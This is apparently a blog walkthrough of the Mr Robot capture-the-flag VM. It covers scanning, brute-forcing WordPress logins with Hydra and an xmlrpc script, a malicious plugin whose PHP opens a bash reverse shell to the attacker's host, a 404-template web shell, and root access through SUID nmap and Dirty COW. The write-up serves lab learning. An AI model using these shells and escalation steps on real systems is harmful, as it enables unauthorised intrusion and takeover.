14 minutes
Mr Robot - Walkthrough
Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.
The VM isn’t too difficult. There isn’t any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
Service Enumeration
I used Autorecon
. It can be found here. The results are:
root@kali:~/AutoRecon/results/192.168.100.34/scans# ls
_commands.log tcp_443_https_gobuster.txt tcp_443_sslscan.txt tcp_80_http_screenshot.png
_full_tcp_nmap.txt tcp_443_https_index.html tcp_80_http_gobuster.txt tcp_80_http_whatweb.txt
_manual_commands.txt tcp_443_https_nikto.txt tcp_80_http_index.html _top_20_udp_nmap.txt
_patterns.log tcp_443_https_robots.txt tcp_80_http_nikto.txt xml
_quick_tcp_nmap.txt tcp_443_https_screenshot.png tcp_80_http_nmap.txt
tcp_443_http_nmap.txt tcp_443_https_whatweb.txt tcp_80_http_robots.txt
Nmap Full TCP Scan
# Nmap 7.80 scan initiated Wed Oct 9 12:11:55 2019 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /root/AutoRecon/results/192.168.100.34/scans/_full_tcp_nmap.txt -oX /root/AutoRecon/results/192.168.100.34/scans/xml/_full_tcp_nmap.xml 192.168.100.34
adjust_timeouts2: packet supposedly had rtt of -231141 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -231141 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -301814 microseconds. Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -301814 microseconds. Ignoring time.
Nmap scan report for 192.168.100.34
Host is up, received arp-response (0.00051s latency).
Scanned at 2019-10-09 12:11:56 +04 for 127s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp closed ssh reset ttl 64
80/tcp open http syn-ack ttl 64 Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http syn-ack ttl 64 Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
| SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
| -----BEGIN CERTIFICATE-----
| MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDDA93
| d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTA0NTAzWhcNMjUwOTEzMTA0NTAzWjAa
| MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANlxG/38e8Dy/mxwZzBboYF64tu1n8c2zsWOw8FFU0azQFxv7RPKcGwt
| sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLh6mU
| yvsyno29GAlqYWfffzXRoibdDtGTn9NeMqXobVTTKTaR0BGspOS5AgMBAAEwDQYJ
| KoZIhvcNAQEFBQADgYEASfG0dH3x4/XaN6IWwaKo8XeRStjYTy/uBJEBUERlP17X
| 1TooZOYbvgFAqK8DPOl7EkzASVeu0mS5orfptWjOZ/UWVZujSNj7uu7QR4vbNERx
| ncZrydr7FklpkIN5Bj8SYc94JI9GsrHip4mpbystXkxncoOVESjRBES/iatbkl0=
|_-----END CERTIFICATE-----
MAC Address: 20:C9:D0:7C:EE:8D (Apple)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/9%OT=80%CT=22%CU=%PV=Y%DS=1%DC=D%G=N%M=20C9D0%TM=5D
OS:9D96CB%P=x86_64-pc-linux-gnu)SEQ(TI=Z%CI=I%II=I%TS=8)SEQ(SP=106%GCD=1%IS
OS:R=109%TI=Z%CI=I%TS=8)OPS(O1=M5B4ST11NW6%O2=NNT11%O3=M5B4NNT11NW6%O4=NNT1
OS:1%O5=M5B4ST11NW6%O6=NNT11)WIN(W1=7120%W2=1C5%W3=7120%W4=1D6%W5=7120%W6=1
OS:D6)ECN(R=Y%DF=Y%TG=40%W=7210%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%TG=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=N)IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 0.024 days (since Wed Oct 9 11:39:27 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms 192.168.100.34
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 9 12:14:03 2019 -- 1 IP address (1 host up) scanned in 129.73 seconds
Services | TCP | UDP |
---|---|---|
OpenSSH | 22 | n/a |
HTTP | 80 | n/a |
HTTPS | 443 | n/a |
Nikto
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.100.34
+ Target Hostname: 192.168.100.34
+ Target Port: 443
---------------------------------------------------------------------------
+ SSL Info: Subject: /CN=www.example.com
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /CN=www.example.com
+ Start Time: 2019-10-09 12:12:35 (GMT4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Hostname '192.168.100.34' does not match certificate's names: www.example.com
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <https://192.168.100.34/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the secure flag
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7915 requests: 0 error(s) and 23 item(s) reported on remote host
+ End Time: 2019-10-09 13:03:54 (GMT4) (3079 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Based on the results, it’s Wordpress.
The best results was from uniscan
(only the crawling section):
Directory check:
CODE: 200 URL: http://192.168.100.34/Image/
CODE: 200 URL: http://192.168.100.34/admin/
CODE: 200 URL: http://192.168.100.34/feed/
CODE: 200 URL: http://192.168.100.34/image/
CODE: 200 URL: http://192.168.100.34/login/
CODE: 200 URL: http://192.168.100.34/rss/
CODE: 200 URL: http://192.168.100.34/wp-login/
CODE: 200 URL: http://192.168.100.34/wp-admin/
File check:
CODE: 200 URL: http://192.168.100.34/admin/index.html
CODE: 200 URL: http://192.168.100.34/admin/index.php
CODE: 200 URL: http://192.168.100.34/favicon.ico
CODE: 200 URL: http://192.168.100.34/index.html
CODE: 200 URL: http://192.168.100.34/index.html%20
CODE: 200 URL: http://192.168.100.34/index.php
CODE: 200 URL: http://192.168.100.34/license.txt
CODE: 200 URL: http://192.168.100.34/readme
CODE: 200 URL: http://192.168.100.34/readme.html
CODE: 200 URL: http://192.168.100.34/robots.txt
CODE: 200 URL: http://192.168.100.34/search/htx/sqlqhit.asp
CODE: 200 URL: http://192.168.100.34/search/htx/SQLQHit.asp
CODE: 200 URL: http://192.168.100.34/search/sqlqhit.asp
CODE: 200 URL: http://192.168.100.34/search/SQLQHit.asp
CODE: 200 URL: http://192.168.100.34/sitemap.xml
Ignored Files:
http://192.168.100.34/wp-includes/css/buttons.min.css?ver=4.3.20
http://192.168.100.34/wp-content/themes/twentyfifteen/css/ie7.css?ver=20141010
http://192.168.100.34/wp-content/themes/twentyfifteen/css/ie.css?ver=20141010
http://192.168.100.34/wp-admin/css/install.min.css?ver=4.3.20
http://192.168.100.34/wp-admin/css/login.min.css?ver=4.3.20
http://192.168.100.34/wp-admin/css/ie.min.css?ver=4.3.20
http://192.168.100.34/wp-includes/wlwmanifest.xml
http://192.168.100.34/wp-admin/css/install.css?ver=20100228
The WordPress theme is twentyfifteen
. Which wpscan
did not find(see below).
A robots.txt file was also found by gobuster
. Let’s run curl on that:
root@kali:~/AutoRecon/results/192.168.100.34/scans# curl http://192.168.100.34/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
First key is found. I’m not interested in finding the remaining ones. I’m doing this to learn new techniques, and improve my penetration testing skills.
The fsocity.dic
is a wordlist. It’s CTF-like machine afterall, so it will be useful later on. Download it, and remove all duplicates:
root@kali:~/Notes/mrrobot# curl -O http://192.168.100.34/fsocity.dic
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 7075k 100 7075k 0 0 12.6M 0 --:--:-- --:--:-- --:--:-- 12.6M
root@kali:~/Notes/mrrobot# cat fsocity.dic | sort | uniq | wc -l
11451
root@kali:~/Notes/mrrobot# cat fsocity.dic | sort | uniq > wordlist.txt
Wpscan
root@kali:~/Notes/mrrobot# wpscan --url 192.168.100.34 --no-banner
[+] URL: http://192.168.100.34/
[+] Started: Thu Oct 10 20:03:33 2019
Interesting Finding(s):
[+] http://192.168.100.34/
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.100.34/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] http://192.168.100.34/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.100.34/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://192.168.100.34/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.20 identified (Latest, released on 2019-09-05).
| Detected By: Rss Generator (Aggressive Detection)
| - http://192.168.100.34/feed/, <generator>https://wordpress.org/?v=4.3.20</generator>
| - http://192.168.100.34/comments/feed/, <generator>https://wordpress.org/?v=4.3.20</generator>
[i] The main theme could not be detected.
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <=================================================> (21 / 21) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up.
[+] Finished: Thu Oct 10 20:03:39 2019
[+] Requests Done: 49
[+] Cached Requests: 5
[+] Data Sent: 11.795 KB
[+] Data Received: 48.683 KB
[+] Memory used: 161.641 MB
[+] Elapsed time: 00:00:05
Nothing interesting except xmlrpc.php
. I can’t find any exploit for Wordpress 4.3.20.
XMLRPC Brief Overview
In CMS frameworks like Wordpress(or Drupal), XMLRPC is used to make remote procedures call to interact with the server through a list of available methods. The call is encoded in XML, and transported over HTTP.
Developers/website owners uses XML to communicate with the server remotely from the wordpress web interface or the desktop/mobile app through the xml-rpc API. The same thing you would do on a Wordpress web interface, the methods available on XMLRPC can do that.
Detecting XMLRPC
MacBook-Pro:~ kavish$ curl http://192.168.100.34/xmlrpc.php ; echo
XML-RPC server accepts POST requests only.
The line XML-RPC server accepts POST requests only.
indicates that xmlrpc is enabled. The POST
method is required to interact with XMLRPC to send data or XML Objects as parameters.
From BurpSuite
The POST request:
POST /xmlrpc.php HTTP/1.1
Host: 192.168.100.34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/ (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Cookie: s_fid=779B67510F1A792B-19020C31F320F846; s_nr=1570610366940; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Length: 93
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
The <methodName>system.listMethods</methodName>
will tell xmlrpc to list all its available methods. Let’s take a look at the response:
HTTP/1.1 200 OK
Date: Sun, 13 Oct 2019 09:26:50 +0000
Server: Apache
X-Powered-By: PHP/5.5.29
Connection: close
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
<value><string>metaWeblog.deletePost</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.getRecentPosts</string></value>
<value><string>blogger.getPost</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>wp.restoreRevision</string></value>
<value><string>wp.getRevisions</string></value>
<value><string>wp.getPostTypes</string></value>
<value><string>wp.getPostType</string></value>
<value><string>wp.getPostFormats</string></value>
<value><string>wp.getMediaLibrary</string></value>
<value><string>wp.getMediaItem</string></value>
<value><string>wp.getCommentStatusList</string></value>
<value><string>wp.newComment</string></value>
<value><string>wp.editComment</string></value>
<value><string>wp.deleteComment</string></value>
<value><string>wp.getComments</string></value>
<value><string>wp.getComment</string></value>
<value><string>wp.setOptions</string></value>
<value><string>wp.getOptions</string></value>
<value><string>wp.getPageTemplates</string></value>
<value><string>wp.getPageStatusList</string></value>
<value><string>wp.getPostStatusList</string></value>
<value><string>wp.getCommentCount</string></value>
<value><string>wp.deleteFile</string></value>
<value><string>wp.uploadFile</string></value>
<value><string>wp.suggestCategories</string></value>
<value><string>wp.deleteCategory</string></value>
<value><string>wp.newCategory</string></value>
<value><string>wp.getTags</string></value>
<value><string>wp.getCategories</string></value>
<value><string>wp.getAuthors</string></value>
<value><string>wp.getPageList</string></value>
<value><string>wp.editPage</string></value>
<value><string>wp.deletePage</string></value>
<value><string>wp.newPage</string></value>
<value><string>wp.getPages</string></value>
<value><string>wp.getPage</string></value>
<value><string>wp.editProfile</string></value>
<value><string>wp.getProfile</string></value>
<value><string>wp.getUsers</string></value>
<value><string>wp.getUser</string></value>
<value><string>wp.getTaxonomies</string></value>
<value><string>wp.getTaxonomy</string></value>
<value><string>wp.getTerms</string></value>
<value><string>wp.getTerm</string></value>
<value><string>wp.deleteTerm</string></value>
<value><string>wp.editTerm</string></value>
<value><string>wp.newTerm</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.getPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
The list of methods are pretty understandable. Not all of them are useful though. The interesting ones are:
demo.sayHello
- This method just returns hello. It’s also another way to verify if xmlrpc is enabled.pingback.ping
- Any WordPress site with Pingback enabled (which is on by default) can be used in DDOS attacks against other sites.wp.getUsersBlogs
- Returns a list of blogs for a user. You must provide the corrent credentials.wp.getUsers
- Retrieve a user.
In newer versions of WordPress, most of those components are obsolete.
Bruteforcing with Hydra
I used admin
as the password, or else this would have taken too long:
hydra -L wordlist.txt -p admin 192.168.100.34 http-post-form "/wp-login/php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.0.2.7%2Fwp-admin%2F&testcookie=1:Invalid username" -t 50 -f -V
[ATTEMPT] target 192.168.100.34 - login "encode" - pass "admin" - 5517 of 11452 [child 40] (0/0)
[ATTEMPT] target 192.168.100.34 - login "encounter" - pass "admin" - 5518 of 11452 [child 14] (0/0)
[ATTEMPT] target 192.168.100.34 - login "encountered" - pass "admin" - 5519 of 11452 [child 34] (0/0)
[80][http-post-form] host: 192.168.100.34 login: elliot password: admin
[STATUS] attack finished for 192.168.100.34 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-13 17:36:37
Great. There’s a user called elliot
. The below command was used in another write-up. That’s pretty cool. I did’t use it.
cewl -m 5 -w list.txt -d 0 -v https://en.wikipedia.org/wiki/Mr._Robot
XMLrpc Bruteforcing
I could have used hydra, but there’s a tool i wrote called xmlrpcbruteforce.py. It’s faster and cpu efficient.
root@kali:~/Notes/mrrobot# python3 xmlrpcbruteforce.py http://192.168.100.34/xmlrpc.php wordlist.txt elliot
__ __ __ __ _____ _____ _____ ____
(_ \ / _) \ \ / / (_ _) ( __ \ ( __ \ / ___)
\ \_/ / () \/ () | | ) (__) ) ) )_) ) / /
\ / / _ _ \ | | ( __/ ( ___/ ( (
/ _ \ / / \/ \ \ | | __ ) \ \ _ ) ) ( (
_/ / \ \_ /_/ \_\ __| |___) ) ( ( \ \_)) ( ( \ \___
(__/ \__) (/ \) \________/ )_) \__/ /__\ \____)
______ ______ __ __ ________ _____ _________ ____ ______ ____ _____
(_ _ \ ( __ \ ) ) ( ( (___ ___) / ___/ (_ _____) / __ \ ( __ \ / ___) / ___/
) (_) ) ) (__) ) ( ( ) ) ) ) ( (__ ) (___ / / \ \ ) (__) ) / / ( (__
\ _/ ( __/ ) ) ( ( ( ( ) __) ( ___) ( () () ) ( __/ ( ( ) __)
/ _ \ ) \ \ _ ( ( ) ) ) ) ( ( ) ( ( () () ) ) \ \ _ ( ( ( (
_) (_) ) ( ( \ \_)) ) \__/ ( ( ( \ \___ ( ) \ \__/ / ( ( \ \_)) \ \___ \ \___
(______/ )_) \__/ \______/ /__\ \____\ \_/ \____/ )_) \__/ \____) \____\
_____ _____ _ _ _ _______ ______ _______ ______ ______ __ __
|_____] | | | | | |______ |_____/ |______ | \ |_____] \_/
| |_____| |__|__| |______ | \_ |______ |_____/ |_____] |
______ ______ _____ ______ _______ ______
|______ |______ | |_____] |______ | \
______| |______ |_____ |_____] ______| |_____/
--=[Brute forcing target: http://192.168.100.34/xmlrpc.php]=--
--=[Starting...]=--
--=[Tried: 1000 passwords]=--
--=[Tried: 2000 passwords]=--
--=[Tried: 3000 passwords]=--
--=[Tried: 4000 passwords]=--
--=[Tried: 5000 passwords]=--
--=[User found! Success! elliot/ER28-0652]=--
--=[Successful!]=--
Awesome. The credentials are elliot:ER28-0652
. Before i try to log in, let’s use BurpSuite to send request using wp.GetUsersBlogs
. The request:
POST /xmlrpc.php HTTP/1.1
Host: 192.168.100.34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/ (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Cookie: s_fid=779B67510F1A792B-19020C31F320F846; s_nr=1570610366940; wordpress_test_cookie=WP+Cookie+check
Connection: close
Content-Length: 283
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param>
<value>
<string>elliot</string>
</value>
</param>
<param>
<value>
<string>ER28-0652</string>
</value>
</param>
</params>
</methodCall>
The response:
HTTP/1.1 200 OK
Date: Sun, 13 Oct 2019 12:18:34 +0000
Server: Apache
X-Powered-By: PHP/5.5.29
Connection: close
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Length: 657
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://192.168.100.34/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>user&#039;s Blog!</string></value></member>
<member><name>xmlrpc</name><value><string>http://192.168.100.34/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
isAdmin is equal to 1. Now every methods that require a credential, can be abused.
Php Reverse Shell
I found 3 ways to get a reverse shell from published write-ups:
- Malicious Plugin
- Through the default templates
- Meterpreter (i won’t do it)
Even as an administrator, a php file can’t be uploaded in the media section. The default templates are not persistent, but i’m going to try it.
Malicious Plugin
I used this. Create a file with following content:
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: whatever
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.30/443 0>&1'");
?>
Zip it: zip revsh.zip ./revsh-plugin.php
Upload the plugin, activate it then switch to the listener:
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.30] from (UNKNOWN) [192.168.100.34] 35088
bash: cannot set terminal process group (1565): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ whoami
whoami
daemon
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$
Run the following to be get a full interactive shell:
python -c 'import pty; pty.spawn("/bin/bash")'
CTRL-z
stty raw -echo
fg
If you get a blackscreen after fg
, press enter or exec reset
.
Let’s take a look at the kernel and os info:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ uname -a
uname -a
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ cat /etc/*release*
cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.2 LTS"
NAME="Ubuntu"
VERSION="14.04.2 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.2 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
- Kernel: 3.13 (32-bit)
- OS: Ubuntu 14.04
There’s only one exploit on exploit-db that corrensponds to Ubuntu 14.04. It doesn’t work. I can’t find another way to get root except through the old nmap version that can used to spawn a shell as root. That’s the only technique which has been used in several write-ups.
Find all suid files:
daemon@linux:~$ find / -perm -4000 2> /dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
GTFObins is a goldmine for escalating privileges through executables.
Getting root through nmap:
daemon@linux:~$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !bash -p
bash-4.3# whoami
root
bash-4.3# passwd root
passwd: You may not view or modify password information for root.
bash-4.3#
You become root through nmap
, but with limited access. To get a Privilege escalation using only the system resources is impossible at this point. Since the kernel version is less than 3.99, let’s deploy the famous Dirty COW.
Switch to the /tmp directory, and download Dirty COW, compile it, and make it executable:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp
Dirty COW to the rescue:
daemon@linux:/tmp$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
root@linux:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@linux:~# cp /tmp/.ssh_bak /etc/passwd
root@linux:~# rm /tmp/.ssh_bak
root@linux:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linux:~#
The -s
flag will restore /etc/passwd
upon completion. Omit the -s to log in with the passworddirtyCowFun
, and then you can change the root password permanently.
404 not found
I used the php reverse shell from pentestmonkey. Replace the default IP and Port.
Go into Appearance
-> Editor
-> 404 Template
, and paste the generated shell code. Load the 404 page - http://192.168.100.34/iamareverseshell
.
On the listener:
root@kavishgr:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.30] from (UNKNOWN) [192.168.100.34] 50646
bash: cannot set terminal process group (1518): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/opt/bitnami/apps/wordpress/htdocs/wp-admin$
Note: The machine was designed to just get the 3 flags, and that’s it. There’s not much you can do beyond that.
2916 Words
2019-10-16 00:00 +0000